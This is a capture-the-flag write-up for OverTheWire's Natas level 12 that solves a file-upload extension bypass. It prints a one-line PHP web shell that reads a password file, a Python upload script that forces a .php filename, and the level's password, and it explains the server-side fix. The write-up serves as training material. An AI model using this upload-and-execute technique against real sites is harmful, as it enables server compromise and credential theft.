Wargame: Natas
Level: 12
Category: Web Exploitation
Description
The page allows uploading a JPEG image up to 1000 bytes. The uploaded file is stored on the server. The goal is to upload a PHP web shell and execute it to read the next password.
Overview
- The upload form includes a hidden
filenamefield that JavaScript sets to a random.jpgname before submission. - The server trusts the client-supplied
filenameparameter when naming the stored file. - By overriding
filenameto end in.phpin the POST request, we control the stored file’s extension. - The server then serves the PHP file, which the PHP interpreter executes on request.
Background: File Upload Extension Bypass
- Web servers execute scripts only when the file extension matches a registered handler (e.g.,
.phpruns PHP). - If the server uses client-supplied metadata (like a form field) to determine the stored filename, an attacker can set any extension.
- The fix is to always generate the server-side filename independently, ignoring any client-provided name.
Solution
Step 1: Prepare the PHP Payload
- A minimal PHP web shell that reads and echoes a file:
<?php echo file_get_contents('/etc/natas_webpass/natas13'); ?>
Step 2: Override the Filename in POST Data
- The form submits
filenameas a hidden field; JavaScript sets it to something likeabc123.jpg. - In the POST request, we set
filenametoshell.phpourselves, bypassing the JavaScript assignment.
import requests
from requests.auth import HTTPBasicAuth
r = requests.post(
url,
auth=HTTPBasicAuth("natas12", password),
data={"MAX_FILE_SIZE": "1000", "filename": "natas12-inject.php"},
files={"uploadedfile": open("inject.php", "rb")},
)
Step 3: Retrieve the Uploaded Shell
- The response contains a link to the uploaded file (e.g.,
upload/abcd1234.php). - Requesting that URL causes the PHP engine to execute the script.
- The output contains the password for natas13.
Password
lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9